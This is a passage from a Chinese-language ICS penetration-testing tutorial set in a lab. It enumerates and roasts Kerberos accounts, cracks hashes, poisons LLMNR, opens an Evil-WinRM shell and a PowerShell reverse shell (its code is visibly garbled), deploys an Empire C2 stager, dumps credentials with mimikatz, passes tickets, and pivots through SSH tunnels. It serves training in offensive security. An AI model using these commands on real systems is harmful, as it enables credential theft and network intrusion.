快速识别 NetBIOS 名称让我们有理由猜测DC01是域控制器。记住这些信息后,我们现在希望对发现的机器名称运行enum4linux,看看是否能提取更多的细节。运行以下命令:
enum4linux 172.16.0.2
你应该看到以下结果:
图 10.51 – enum4linux
我们现在已经发现了LABCORP域名。从这里开始,我们希望尝试枚举可能存在于该域中的用户。使用 Kerbrute(我们在上一节中安装了它)可以通过向域控制器发送 Kerberos 请求来枚举用户。我们通过使用包含以下用户名的传统 ICS 用户生成的列表来执行此操作:
-
admin -
root -
operator1 -
operator2 -
operator3 -
scada -
scada-user -
scada1 -
scada2
我们现在可以运行以下命令:
./kerbrute_linux_amd64 userenum Industrial_Pentesting/users.txt -d labcorp.local -dc 172.16.0.2
你可以从以下输出看到,我们成功地枚举了四个有效用户:
图 10.52 – 枚举的用户
接下来,我们将使用我们在上一节中安装的 Impacket 工具的一些子功能。具体来说,我们将运行impacket-GetNPUsers命令,看看是否有任何 AD 用户禁用了 Kerberos 预身份验证。运行以下命令:
impacket-GetNPUsers labcorp.local/Adminstrator -dc-ip 127.16.0.2 -no-pass
如预期,Administrator账户已启用preauth,如下所示:
图 10.53 – Impacket 管理员检查
现在测试另一个账户。如果你还记得我们调整 operator2 配置时禁用preauth的 AD 用户设置,那么使用以下命令应能得到有效响应:
impacket-GetNPUsers labcorp.local/operator2 -dc-ip 127.16.0.2 -no-pass
你可以看到我们发现了operator2的哈希:
图 10.54 – operator2 哈希
发现此哈希后,我们可以使用hashcat。使用模式-m 18200对 Kerberos 哈希进行破解,运行以下命令:
sudo hashcat -m 18200 operator2.hash /usr/share/wordlists/rockyou.txt
根据密码的复杂性,这可能需要相当长的时间。然而,如果你保持本章之前的设置,破解operator2密码只需几秒钟。在这里,你可以看到在 Kerberos 哈希的末尾,密码Password2已经被附加,表明我们成功破解了哈希:
图 10.55 – operator2 的密码
我们可以直接使用这些新发现的凭据远程登录到该机器,或者利用它们通过 Impacket 进行更多的发现。由于本节的标题是发现并启动我们的攻击,我们将利用这个帐户进行进一步的发现。我们将运行以下命令:
impacket-GetADUsers -all labcorp.local/operator2 -dc-ip 172.16.0.2
这将使用operator2枚举所有的 AD 用户:
图 10.56 – GetADUsers
继续发现路径,我们将使用另一个 Impacket 工具,使用 Kerberos 的默认行为提取服务帐户。我们将运行以下命令:
impacket-GetUserSPNs labcorp.local/operator2:Password2 -dc-ip 172.16.0.2 -request
这是一个非常可怕的攻击,因为它不需要提升的用户权限就可以从域控制器中提取服务帐户。在运行该命令后,你应该看到我们已经发现了operator3的 SPN。这来自上一节中的 Kerberos 配置部分:
图 10.57 – SPN
再次,我们发现了一个哈希,看看它的样子,似乎是 Kerberos 哈希,但格式不同。通过简单的研究,我们发现它是以 TGS 格式保存的。现在,我们想用hashcat破解这个哈希,运行以下命令:
hashcat -m 13100 operator3.hash /usr/share/wordlists/rockyou.txt
这将成功破解哈希,并向你展示以下输出:
图 10.58 – operator3 破解的密码
接下来,我们将运行responder。它与 Impacket 一起安装。现在,responder使我们能够中毒Link-Local Multicast Name Resolution(LLMNR),并伪造 SMB 请求以便捕获网络上的 Windows New Technology LAN Manager(NTLM)哈希。
我们将使用以下命令运行responder:
sudo responder -I eth1
你应该得到以下结果,显示毒害工具正在运行,且服务器是活跃的:
图 10.59 – responder 正在运行
现在,为了触发捕获,由于我们有一个非常静态的实验环境,登录到你的 Windows 10 虚拟机并打开浏览器。输入一个字符串并按 Enter:
图 10.60 – 测试
如果一切配置正确,你应该会看到responder已经捕获了operator1的 NTLM 哈希,如下所示:
图 10.61 – NTLM 哈希
正如我们之前所做的,我们将使用hashcat来破解operator1的密码。运行以下命令:
hashcat -m 5600 operator1.hash /usr/share/wordlists/rockyou.txt
密码应该很快被破解,你将看到以下结果:
图 10.62 – operator1 密码
在这一部分,你可以看到,借助合适的工具,如何轻松地开始枚举域控制器,从而获取企业环境中的有用信息。我们能够通过一般用户帐户枚举凭据并发现域帐户。我们通过毒化 LLMNR、NBT-NS 和 DNS/MDNS 捕获了哈希。在本节中,我们使用了hashcat对我们发现的哈希执行了各种破解模式。我们只是触及了这些工具所包含的部分强大功能。我强烈建议你阅读 enum4linux、Impacket、Kerbrute 和 hashcat 的文档。
在接下来的章节中,我们将利用我们发现并破解的用户名:密码组合,进入企业网络中的各个系统。
获取 shell
现在我们有了三组凭据和五个额外用户名的列表,是时候利用这些凭据,获取企业计算机的 foothold/shell 了。我们将使用 Evil-WinRM、Impacket-psexec 和 PowerShell 执行各种漏洞利用,获取 Windows 主机的访问权限。
我们将从Evil-WinRM开始,使用以下凭据查看是否能够获得一个 shell:operator2:Password2。运行以下命令:
evil-winrm -I 172.16.0.4 -u operator2 -p Password2
如果本章第一部分的配置都正确,你将看到以下结果:
图 10.63 – Evil-WinRM shell
瞧! 我们得到了第一个 shell,现在是时候探索我们新 shell 的功能了。输入menu命令并按下Enter。这将弹出一份后渗透模块列表:
图 10.64 – Evil-WinRM shell 菜单
故事时间
我记得曾与 Rob Mubix Fuller 进行过一次对话。他传授给我一条智慧箴言,这条箴言曾被传递给他:两个是一个,一个是零,意思是如果你只有一个 shell,那么实际上你根本就没有 shell。你需要一个备份计划,以防你的主会话丢失或被切断。这句话一直深深印在我脑海中,我也会将这一见解传递给你。所以记住,如果你成功获取了一个 shell,务必尽快构建第二个 shell。
话虽如此,我们需要构建另一个 shell。一个很好的资源是Payloads All The Things。可以通过以下链接访问:github.com/swisskyrepo/PayloadsAllTheThings。
我们将使用反向 Shell 备忘单来找到一个 PowerShell 方法。以下代码展示了我们将用于连接回 Kali Linux 虚拟机的 PowerShell 命令:
client = New-Object System.Net.Sockets.TCPClient("172.16.0.6",4242);client.GetStream();[byte[]]i = bytes, 0, bytes.Length)) -ne 0){;data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(i);data 2>&1 | Out-String );sendback + 'PS ' + (pwd).Path + '> ';sendback2);sendbyte,0,stream.Flush()};$client.Close()
为了在我们当前的环境中使其生效,我们必须禁用 Windows 10 虚拟机上的实时保护:
图 10.65 – 病毒与威胁防护设置
禁用实时保护后,我们将使用以下命令设置一个新的监听器:
nc -nvlp 4242
执行该命令后,我们将看到以下输出:
图 10.66 – 监听端口 4242
接下来,我们要执行前面图示中的 PowerShell 命令。一旦反向 shell 连接成功,我们将看到以下输出:
图 10.67 – 反向 PowerShell
现在我们已经成功地使用 PowerShell 载荷获取了反向 shell。接下来,我们将使用 Impacket-psexec 运行一个漏洞利用来获取一个新的 shell。我们将使用在本章第一节中创建的域管理员账户。首先运行以下命令:
impacket-psexec labcorp.local/lab.da:'Password123'@172.16.02
执行上述命令后,你将看到以下结果:
图 10.68 – impacket-psexec
到目前为止,你可能会问自己——既然我们已经有了凭据,难道不能直接通过远程桌面协议(RDP)连接到 Windows 主机并尝试从那里进行攻击吗?你完全正确。你可以使用这些凭据,通过 RDP 连接到 Windows 主机。然而,你必须小心。无论我们如何掩藏踪迹,总会留下痕迹。如果你开始使用 RDP 会话,它们可能会变得非常显眼,而且你很可能会遇到你破解的凭据的拥有者,因为他们可能已经登录到机器上了。
总结
本章涵盖了大量内容。我们搭建了一个带有 AD 的域控制器,设置了 DNS 服务器和 DHCP 服务器,创建了文件共享,并使用多种工具进行枚举、投毒流量并获得 shell。每一个话题和工具都值得写成一本书。说实话,在花了很多年从事操作技术领域的工作后,写关于公司网络的内容,确实有些像是“冒名顶替综合症”。我可以毫不犹豫地重申,练习获取公司网络中单个主机的访问权限非常重要,因为没有两个渗透测试任务是完全相同的。如果不更加努力并全面提升自己的技能,不能指望自己成功。在下一章,我们将通过当前实验室环境进行深度探索,检查进程级别,并最终实现对物理 I/O 的控制。
第十一章:哇哦…我必须深入
阅读完上一章后,我们已经有了一个立足点/外壳,但接下来怎么办呢?接下来,我们需要了解自己处于哪个位置,并且能访问什么内容。这包括尽可能多地收集信息,获取凭证,映射网络连接,使用代理进行内部网络扫描,以及发现可转移的主机。这个阶段是我们需要穿越系统内部的阶段。我们可以通过使用工具通过代理映射网络,深入挖掘。根据入口点的不同,会有关键信息需要发现,包括线索,这些线索将提供关于低层系统的细节,进而帮助我们接触到物理 I/O。
在本章中,我们将安装一款防火墙,它将允许我们在实验室网络中构建分段。在初步获得网络访问权限后,这通常是人们卡住的地方,并且常常会问,接下来我该做什么?我如何获取管理员权限?接下来去哪儿?本章将帮助解答这些问题。我们将利用 Empire 构建一个 控制与命令(C2)服务器,从而帮助我们收集凭证,查找可利用的服务,并获得提升的权限。接下来,我们将使用端口转发、SSH 隧道和 proxychains 进一步深入网络,最终攻破工业过程。
在本章中,我们将覆盖以下主要内容:
-
配置防火墙
-
我已经有一个 shell 了,接下来怎么办?
-
提升权限
-
转移
技术要求
本章需要以下内容:
-
一台 pfSense 防火墙,你可以从
www.pfsense.org/download/下载。 -
一台运行 Kali Linux 的虚拟机,并已安装以下工具:
-
mimikatz:github.com/gentilkiwi/mimikatz/releases -
Proxychains: 通过运行sudo apt install proxychains安装 -
Freerdp2: 通过运行sudo apt install freerdp2-x11 freerdp2-shadow-x11安装
你可以在这里查看本章代码的实际操作:bit.ly/3lAzYVb
配置防火墙
您可能会想,为什么在每一章中,我们都会安装或配置一些新的东西。你可能会想,为什么我们没有在本书的早些时候安装这些? 这种思路并没有错,因为我们本可以在本书的前半部分安装所有需要的实验室工具。然而,我认为让自己不断地构建和拆解实验室是非常重要的。这有助于培养适应能力,而适应能力是渗透测试的关键要素。每一章都添加新的元素,能够帮助强化适应能力的实践。
很多厂商提供工业级防火墙,其中一些更具行业认可的品牌有思科(Cisco)、堡垒(Fortinet)、检查点(Checkpoint)、帕洛阿尔托(Palo Alto)、贝尔登(Belden)和莫萨(Moxa)。每个厂商都有其优缺点、技术特点和功能,您可以进一步研究了解。在实施防火墙并在参与过程中遇到它们时,您必须具备高度的适应能力。我曾见过没有安装任何防火墙的网络,也见过那些使用微分段和多层职责分离的网络,这意味着需要许多人合作才能在企业网络中建立连接。通过在我们的实验室中引入防火墙,我们将实现对网络的受控分段。在本节中,我们将安装并配置最新版本的 pfSense(社区版)防火墙。让我们开始吧:
-
请访问以下链接下载 pfSense 的最新版本。撰写本文时,这是 2.5.1 版本:
nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.1-RELEASE-amd64.iso.gz。一旦您获得了 ISO 文件,确保将其加载到数据存储中并启动一个新的虚拟机。我在以下截图中展示了配置时所选择的选项。最重要的部分是网络适配器。我们将在第 4 层放置防火墙,以便它将 第 5 层:企业层 连接到 第 3 层:运营层,如下图所示:
图 11.1 – 防火墙配置
-
配置完成后,启动虚拟机并等待初始启动。您将看到 终端用户许可协议(EULA) 页面。点击 <接受>,如以下截图所示:
图 11.2 – 终端用户许可协议(EULA)
-
在接受协议后,您将看到三个选项。选择 安装 并开始安装 pfSense,如下图所示:
图 11.3 – 安装 pfSense 选项
-
接下来,您可以选择根据您的位置更改键盘映射语言。选择任何您想要的语言。我将使用标准的
"US"默认选项,如下所示:图 11.4 – 键盘映射
-
键盘映射完成后,我们可以选择如何分区磁盘。我将使用 自动 (UFS) BIOS 方法,如下所示:
图 11.5 – 磁盘分区
-
安装程序运行完毕后,您可以选择进入终端并在重启之前对防火墙进行一些调整。我选择了 否,保持所有默认设置:
图 11.6 – 最终调整
-
现在,您可以重新启动系统或直接进入 shell。我选择重新启动系统作为习惯,以确保所有更改在重启之前不会完全生效。选择 重启 继续,如下所示:
图 11.7 – 重启
-
重启完成后,您将在控制台上看到一系列选项。您还应该看到一个由您的 LABCORP DNS 服务器提供的 DHCP
wan,以及一个默认的lan地址,如下所示:图 11.8 – 控制台菜单
-
我们将使用默认的
lanIP 地址,并打开浏览器通过 web UI 配置防火墙。导航到分配给 LAN 的 IP 地址。在我的例子中,它是192.168.3.1。使用admin作为用户名,pfsense作为密码登录防火墙:图 11.9 – pfSense 登录
登录后,您将看到 pfSense 设置 向导,如下所示:
图 11.10 – 设置向导
-
接下来,我们必须为 主机名、域 和 主 DNS 服务器 设置常规信息选项:
图 11.11 – 常规信息
-
接下来需要配置的重要选项是 WAN 接口。将其设置为
DHCP,如下所示:图 11.12 – 配置 WAN 接口
-
我们还要确保不会阻止任何 RFC1918 网络,因为我们将把这个防火墙用于内部网络,如下所示:
图 11.13 – RFC1918 网络
-
接下来,我们要设置 LAN 接口。对于我们之前在本书中静态配置的子网,我们将地址设置为
192.168.3.1,如下所示:图 11.14 – LAN 接口
-
您将有机会更改管理员界面的默认密码,请更改它。接下来,您将被要求重新加载配置,这将需要大约一分钟的时间。重新加载后,您需要将浏览器指向
192.168.3.1以返回到 Web 界面。重新登录 Web 界面后,您将看到仪表盘,在这里您将看到系统信息、接口配置和Netgate 服务与支持,如下图所示:图 11.15 – pfSense 仪表盘
-
我们希望为我们的 LAN 接口设置一个 DHCP 服务器。请导航到服务 | DHCP 服务器,如以下屏幕截图所示:
图 11.16 – DHCP 服务器
-
从这里开始,我们将通过设置以下内容来配置常规选项:
– 子网:
192.168.3.0– 子网掩码:
255.255.255.0– 可用范围:192.168.3.1 – 192.168.3.254
– 范围:**从
**[192.168.3.100]– **到**[192.168.3.199]这是一个供您参考的示例:
图 11.17 – DHCP 服务器
-
从这里开始,我们将添加一个配置错误的 NAT 规则,以允许来自企业的流量与操作系统通信,反之亦然:
图 11.18 – NAT 选择
-
现在,我们希望选择端口转发并添加一条新规则。您应该看到一个空列表:
图 11.19 – 端口转发
-
点击绿色的添加按钮后,您将进入编辑重定向条目界面。我们将保持大部分选项不变,但必须对源和目标选项进行一些更改。
以下是我们需要配置的选项:
– 源:类型(网络)| 地址(172.16.0.0)| 掩码(24)
– 目标:类型(WAN 地址)
– 目标端口范围:从端口(任意)| 到端口(任意)
– 重定向目标 IP:类型(单一主机)| 地址(192.168.3.10)
请参考以下屏幕截图获取一些指导:
图 11.20 – 端口转发/编辑
-
配置完成并提供描述后,请确保点击屏幕底部的保存按钮。保存后,您将看到一个弹出窗口,允许您应用更改到防火墙。请继续应用您的更改,如下所示:
图 11.21 – 应用更改按钮
现在,您应该能看到以下端口转发规则:
图 11.22 – 端口转发规则
-
我们要验证是否已将 出站 NAT 模式 设置为 自动出站 NAT 规则生成,如图所示:
图 11.23 – 出站 NAT 模式
-
最后,我们要通过进入 **防火墙
| **WAN来验证我们的 WAN 规则是否已创建。你应该会看到类似这样的规则:图 11.24 – WAN 规则
现在我们的防火墙已配置完毕,我们需要将本书前面使用的 Windows 7 机器快速添加到
labcorp.local域中,用于配置 PLC。让我们开始吧: -
为此,我们必须编辑我们的网络接口,并更新 首选 DNS 服务器 选项,如图所示:
图 11.25 – 首选 DNS 服务器
-
接下来,导航至 计算机 | 属性 | 系统属性 | 计算机名称。在这里,将 计算机名称 设置为
OS1,表示操作员工作站 1。然后,选择 域 并将其设置为labcorp.local,如以下截图所示:图 11.26 – 计算机名称/域更改
-
现在,让我们确保我们已连接到域,并且可以使用已知用户进行身份验证。如以下截图所示,我们已使用
operator1登录到 Windows 7 虚拟机:图 11.27 – 域连接
-
我们需要确保实验室操作员可以通过将
LABCORP\Domain Users添加到 远程桌面用户,如图所示,来使用 远程桌面:
图 11.28 – 域用户作为远程桌面用户
在本节中,我们配置了一个防火墙,以便在企业网络和操作网络之间引入隔离。我们还快速将我们在 第一章 中安装的 Windows 7 虚拟机,使用虚拟化,连接到我们在 第十章 中创建的域,I Can Do It 420,并确保 LABCORP 用户可以远程桌面访问他们的操作员工作站。在接下来的章节中,我们将学习如何利用这些配置来发现网络中的路径。
我有一个 shell,现在该怎么办?
现在是时候回到我们计划的广播任务了。一旦我们获得访问权限,看到那个 Shell 在我们眼前弹出来的瞬间,真是令人激动。然而,艰苦的工作还没有开始。接下来,我们需要了解我们已经进入的环境以及我们能够访问的内容。为此,我们将探索一个叫做Empire的后期利用框架。Empire 是一个 C2 框架,用于安装 PowerShell 代理,可以按需传送模块。这些模块包含了我多年来使用的许多工具,因此将它们集中在一起非常方便。Empire 提供了像 winPEAS、Sherlock、Watson、PowerUp、mimikatz 等模块。这些工具有助于自动化数据收集,了解我们所处的系统和环境,并帮助我们为渗透测试奠定一个立足点。
在这一部分,我们将快速安装 Empire,创建一个监听器,构建一个启动器,然后将模块传送到我们的主机。让我们开始吧:
-
首先,我们需要克隆这个 GitHub 仓库并运行
install脚本:git clone --recursive https://github.com/BC-SECURITY/Empire.gitcd Empiresudo ./setup/install.sh -
安装完成后,我们必须运行
./empire命令。完成此操作后,你将看到一个启动页面,显示你安装的工具版本中的模块总数、监听器数量以及当前活动的代理数量。以我的情况为例,如下图所示,我有319个可用于后期利用的模块,且没有监听器和代理正在运行,因为这是我第一次运行 Empire:图 11.29 – Empire
-
接下来,我们需要为即将部署的代理设置一个监听器,以便它们能报告回来。在这种情况下,在
(Empire)** **>提示符下,我们可以运行uselistener命令,然后按空格键和Tab键查看可以使用的选项。我将在这里选择http作为我的监听器。之后,你可以输入info来列出可用的命令,如下图所示:图 11.30 – uselistener http
在这里,你可以微调你的监听器。在我的情况下,我只更改了
Name和Host选项。我将Host设置为我的 Kali Linux IP 地址,即172.16.0.6 -
接下来,我们要创建一个可以安装在受害者机器上的启动器。我们将使用
(Empire) > usestager multi/launcher http命令来实现。这个命令将启动器设置为 multi/launcher,并将其附加到我们在上一步创建的监听器上。当你输入info时,你将看到可以更改和调整的选项,用于优化你的代理传输机制。在这里,如果你只输入
generate,默认选项是将结果打印到屏幕上。这允许你将 shellcode 复制并粘贴到受害者的系统中。或者,如果你像我一样懒惰,你可以将OutFile选项设置为让 Empire 生成一个.bat文件,直接交给受害者。以下是运行generate而没有设置文件时的输出:图 11.31 – Stager shellcode
-
现在,如果你想设置文件选项,以便将其简单地复制到我们希望攻陷的各种系统上,使用
set OutFile launcher.bat命令,输入info并按下Enter。你会看到OutFile选项现在已将launcher.bat设置为Value字段,如下所示:图 11.32 – OutFile 设置
设置文件类型为
generate并按下Enter后,如果一切正常,你应该会看到如下输出:图 11.33 – 生成
-
现在,我们要将新创建的
launcher.bat文件上传到之前被攻破的工作站并运行该文件。上传到工作站的过程我留给你来完成——我使用 Evil-WinRM 通过我们发现的operator2凭据创建了一个会话,然后创建了一个python3 -m http.server来托管我的launcher.bat文件。最后,我使用curl抓取该文件并将其传输到工作站,如下图所示:图 11.34 – 工作站上的 launcher.bat
-
运行完文件后,回到你的
(Empire) >界面并输入agents命令。这将列出可用的活跃代理,如下截图所示:图 11.35 – 活跃代理
-
此时,我们已经有了一个正在回传信号到我们 Empire C2 平台的活跃代理——太棒了!接下来的步骤是输入interact <代理名>。在我的例子中,应该是
interact 62FRNKHT。连接后,输入info查看可以配置的选项。以下是我收到的输出:图 11.36 – 与代理交互
-
太棒了!此时,我们已经与我们的代理进行交互。现在,让我们开始查看我们的系统及其周围环境。输入
usemodule命令并按Tab键,会显示我们可以访问的模块长列表。这里有 12 个主要类别,每个类别下有多个子模块。以下是这些类别:-
code_execution -
collection -
credentials -
exfiltration -
exploitation -
lateral_movement -
management -
persistence -
privesc -
recon -
situational_awareness -
trollsploit
查看各个类别及其子模块的内容。如前所述,我们希望收集一些情境意识信息。为此,我们将使用
situational_awareness类别。在这里,选择host和Seatbelt模块。要了解有关 Seatbelt 及其强大功能的更多信息,请访问以下链接:github.com/GhostPack/Seatbelt。 -
-
一旦你将模块类型设置为
info,使用usemodule situational_awareness/host/seatbelt命令查看可用选项。然后,运行该模块 – 你应该会看到如下输出:
图 11.37 – Seatbelt 模块
Empire 为正在运行的模块分配一个任务 ID,从而使代理级别的序列化得以进行。模块运行后,你将看到来自代理的反馈,并且会在屏幕上显示。当 Seatbelt 运行时,它将在工作站上执行各种测试,并收集大量信息,这些信息可以轻松填满视觉缓冲区。你可以在Empire/downloads/<agent name>/agent.log下找到包含代理执行的测试输出的agent.log文件。查看此日志文件时,你会发现有关代理所在主机系统的有趣信息。你将发现正在使用的各种接口、杀毒软件、AppLocker、自动运行程序、环境变量、有趣的文件、有趣的进程等等。以下截图显示了工作站 1 上具有管理员权限的用户列表,这是通过其中一个测试发现的:
图 11.38 – 管理员权限
另一个测试是发现主机上当前存在的 RDP 会话,我们可以通过查看用户名设置为lab.da的日志文件来实现,如下所示:
图 11.39 – RDP 会话
这些仅仅是从 Seatbelt 执行的测试中获取的信息片段。然而,当你浏览日志文件时,你会发现Operator2没有管理员访问权限,这在获取更详细信息时成为一个问题。这将自然引导我们进入下一节,我们将发现如何提升我们的权限,以深入了解我们的受害机器。
提升权限
特权提升是攻击者试图获得超出被攻击用户权限范围的访问权限。特权提升有两种形式:水平特权提升和垂直特权提升。水平特权提升是指在保持当前用户权限的同时,利用系统策略、软件和文件设置中的漏洞,使当前用户能够访问其他用户的资源、文件和服务。这种类型的特权访问在工业控制系统中很常见,根据我的经验,它足以使系统和进程陷入停滞。另一方面,垂直特权提升是攻击者的过程,他们通过从权限较低的账户逐步提升到系统管理员或域管理员账户。一旦攻击者拥有了域管理员账户,他们就能在被攻陷的网络和基础设施中肆意破坏。
在前一节中,我们安装了 Empire,这使我们能够执行后期利用侦查和态势感知。我们将利用相同的 C2 引擎来运行privesc模块。为此,我们将安装我们的launcher.bat文件,也就是operator1:
-
正如你在第十章中回忆到的,I Can Do It 420,我们发现了
operator1的 NTLM 哈希,并使用 hashcat 破解了它。一旦你在operator1下运行launcher.bat,返回 Empire 并查看其代理列表。你现在应该看到两个代理已安装,如下所示:图 11.40 – 安装 operator1 代理
-
接下来,我们将通过使用
interact <agent name>命令与新代理进行交互。在我的例子中,命令将是interact 1PKZ7G3T。正如我们在前一节中看到的,系统中有许多模块可以用来执行各种测试和攻击。首先,我们可以使用credentials/mimikatz/command模块,它允许我们更改命令并继续运行mimikatz。Mimikatz 是一款传奇工具,用于转储系统凭证。要了解更多信息,请访问github.com/gentilkiwi/mimikatz。我们将使用 mimikatz 来转储凭证和票据。然后,利用这些票据,我们将执行pass-the-ticket(PTT)攻击。PTT 攻击的原理是从本地安全授权子系统服务(LSASS)的内存中转储 Kerberos 票据。 -
使用
set Command sekurlsa::logonPasswords命令,然后输入run。你应该会看到以下输出:图 11.41 – sekurlsa logonPasswords
-
一旦模块运行完成,输入
creds并按Enter键。你将看到已经捕获的凭据,这些凭据会被 Empire 自动存储。使用 Empire 的creds存储功能是一个关键特性,它将在渗透测试中为你提供极大的帮助。你可以通过运行logonPasswords命令查看被发现的凭据:图 11.42 – 凭据
-
这样,你就看到了如何轻松地转储凭据。现在,我们将学习如何轻松地使用 mimikatz 转储票证。我们将设置
Command选项为sekurlsa::tickets /export,然后输入run命令。/export对象告诉模块将票证导出为.kirbi文件。然后,我们可以使用这些票证执行更高级的攻击,如 PTT。Golden Ticket 是指授予用户域管理员权限的票证。Kerberos 被广泛使用,这使它成为一个极好的攻击面,并且由于它的广泛使用,攻击者已找到利用它的方法。所以,为了看看捕获票证有多简单,我们将Command设置为sekurlsa::tickets /export,并运行它。你应该会看到以下输出:图 11.43 – sekurlsa::tickets
-
在我们的受害者主机上,你将能够找到从运行
sekurlsa::tickets /export命令导出的.kirbi票证,如下所示:图 11.44 – .kirbi 票证
-
现在我们有了
.kirbi票证,我们可以在受害者机器上使用mimikatz.exe并使用kerberos::ptt <ticket>命令,如下所示:图 11.45 – kerberos::ptt – 传递票证
-
现在,我们可以通过运行
klist命令验证 PTT 是否成功。这将列出系统上缓存的票证,让我们能够看到是否成功模拟了该票证:图 11.46 – 缓存票证
-
接下来,我们将运行一个模块,执行自动化测试,帮助找到利用路径。我们将使用 WinPEAS 模块,位于
privesc类别下。Windows 特权提升精彩脚本(WinPEAS)允许我们放松并让程序自动运行。在各种测试进行时,我们可以看到输出显示在屏幕上。信息采用颜色编码,这样我们就能轻松发现潜在的入口点。过程中我们会看到有关提升特权的提示和技巧链接。以下截图展示了发现的基本系统信息选项:
图 11.47 – WinPEAS 基本系统信息
当我们继续浏览这些信息时,会看到 WinPEAS 提取了更多关于系统的有用信息,比如网络接口和已知主机,如下图所示:
图 11.48 – 网络接口和已知主机
在“网络接口”和“已知主机”下,我们可以看到受害者与之通信的设备列表。我们可以看到 域控制器 位于 .2,Kali Linux 位于 .6,以及我们安装的防火墙位于 .7。如果继续浏览 WinPEAS 生成的信息,我们会找到一个 已保存的 RDP 连接 部分,如下所示:
图 11.49 – 已保存的 RDP 连接
随着浏览的深入,我们会发现更多内容,甚至可以找到我们用 mimikatz 转储的 Kerberos 票据。以下是使用 WinPEAS 进行 Kerberos 票据发现的一个示例:
图 11.50 – kerberos 票据
我们可以使用各种工具来完成这项工作。在本节中,我们探讨了转储凭证、转储票据、PTT 攻击以及运行 WinPEAS 来寻找提权路径。掌握这些技巧和工具非常重要,因为每个环境都是不同的,每种设置和本地策略也各不相同。你必须灵活并且熟练使用这些工具,以便将它们适应于客户的环境。在下一节中,我们将讨论如何通过环境进行转发,深入接近真实的关键进程。
网络转发
渗透测试中最基本且最重要的部分之一就是网络转发。如果你从阅读本书中只学到一件事,那就确保把网络转发技巧牢记在脑中。网络转发是一种利用已被攻破的机器来攻击位于网络更深处的另一台机器的技巧。可以使用多种方法和工具来完成这项任务。你可以使用隧道技术、代理和端口转发来完成这项任务。我们已经涉及到了一些方法,包括使用 pfSense 防火墙的 NAT 规则进行端口转发(在本章中我们做过)和使用 FoxyProxy 进行代理(见 第九章),Ninja 308。此外,我们还可以使用其他工具,例如:
-
Proxychains
-
SSH 隧道和端口转发
-
Chisel
这些工具将帮助我们探索网络转发。我们将使用这些工具从 Kali 主机转发,通过 Windows 10 工作站,再到我们的 Windows 7 机器,该机器位于我们网络的操作与控制层级。我们的操作将遵循以下网络图中的红色线路:
图 11.51 – 网络转发
首先,我们必须确保 Windows 10 机器正在运行 OpenSSH 服务器,可以通过访问应用与功能 | 可选功能 | 添加功能来安装:
图 11.52 – OpenSSH 服务器
安装完成后,你需要通过访问服务管理器来启动OpenSSH SSH 服务器,如图所示:
图 11.53 – OpenSSH SSH 服务器
这样,我们就可以进行 SSH 隧道连接,并利用 proxychains 通过防火墙向 Windows 7 主机进行跳转。一旦服务器启动,我们可以通过运行ssh命令,从 Kali 主机连接到它,进行连接测试。你需要使用 ssh operator1@172.16.0.4 命令。成功访问主机后,你会看到类似以下内容的结果:
图 11.54 – SSH Windows 10
如果你使用 xfreerdp 测试连接到我们的 Windows 7 主机,你会看到它能正常工作,这意味着当前的 NAT 规则允许整个企业子网访问操作网络。
使用以下命令来测试你的远程连接和 NAT 规则:
xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7
你应该看到我们已成功连接到 Windows 7 的远程桌面。接下来,我们将更改 NAT 访问规则,以确保防火墙只允许来自两个主机的访问。我们希望我们的域控制器位于172.16.0.2,以及我们的 Windows 10 主机,位于172.16.0.4。下图显示了你新的端口转发 NAT 规则应该是什么样子:
图 11.55 – NAT 规则
现在,返回并通过再次运行 xfreerdp 来测试 NAT 规则。如果规则有效,你应该会看到连接错误,如下图所示:
图 11.56 – 远程连接错误
有了我们的 NAT 规则后,我们可以模拟本章的跳转部分。我们将从设置 proxychains 开始。
Proxychains
Proxychains 是一个管理动态连接并通过 SOCKS4a/5 或 HTTP 代理重定向连接的程序。Proxychains 就是命令行工具对比 FoxyProxy 对网站的作用。使用 Proxychains 的便利性体现在运行命令时,你只需要在命令前加上 proxychains。举个例子,就是将之前的测试命令加上 proxychains 后运行:
proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7
访问 github.com/haad/proxychains 以了解更多关于proxychains的信息, 如果你感兴趣的话。
要配置proxychains,我们将导航到/etc/proxychains.conf,滚动到[ProxyList]部分,并添加一行;即,socks5 127.0.0.1 9000。端口可以是你希望使用的任何数字。以下是我在实验中使用的文件底部输出:
图 11.57 – proxychains.conf
配置proxychains后,我们仍然需要建立一个隧道来利用代理。我们将在下一部分学习如何做到这一点。
SSH 隧道和端口转发
SSH 隧道使攻击者能够通过已建立的 SSH 会话“隧道”传输不同的协议,并最终避开入侵检测系统(IDS)。这种做法在nix系统中最为常见,但正如你在我们的 Windows 10 主机中看到的,OpenSSH 是一个可以默认启用的功能。
讲故事时间
我无法计数我在职业生涯中听到的次数,来自安全经理们常说他们的环境中禁用了端口22/SSH。通常他们会笑着说,他们的基础设施是基于 Windows 的,所以网络中没有 SSH。这在一段时间内确实在网络的企业部分中是成立的,尤其是如果公司没有使用如 SolarWinds 这样的解决方案,它使用 SSH 登录到每个交换机、路由器、网关和防火墙,但在工业领域,很多设备使用 SSH。若干工业安全产品要求在设备上启用 SSH,以便为北美电力可靠性公司/关键基础设施保护(NERC/CIP)合规性收集数据。
我们可以使用 SSH -L 选项创建端口转发,该选项会建立一个到指定端口的链接。运行以下命令:
ssh -L 5555:172.16.0.7:3389 -fn operator1@172.16.0.4
这将通过端口5555在本地与我们的远程主机(使用端口3389,即远程桌面)建立本地连接。然后,我们可以使用-fn选项将 Shell 置于后台并不执行任何命令。最后,我们将使用operator1通过我们的 Windows 10 工作站创建隧道,我们知道它可以访问 Windows 7 主机。以下图示展示了我们将尝试的通信路径:
图 11.58 – 端口转发
现在我们已经建立了端口转发和 SSH 隧道,我们可以运行以下命令:
xfreerdp /u:operator1 /p:Password1 /v:localhost:5555
这将打开一个远程桌面会话。如果你打开 Wireshark 并捕获该会话,你将看到tunnel连接的结果,如下所示:
图 11.59 – SSH 隧道
现在我们已经涵盖了proxychains和 SSH 隧道的基本原理,我将通过使用 SSH -D 选项创建一个动态隧道来将两者结合起来。请继续运行以下命令:
ssh -D 9000 -fN operator1@172.16.0.4
与 SSH 端口转发非常相似,不是连接到特定主机上的专用端口,我们可以使用 -D 创建代理。现在,我们可以运行以下命令:
proxychains xfreerdp /u:operator1 /p:Password1 /v:172.16.0.7
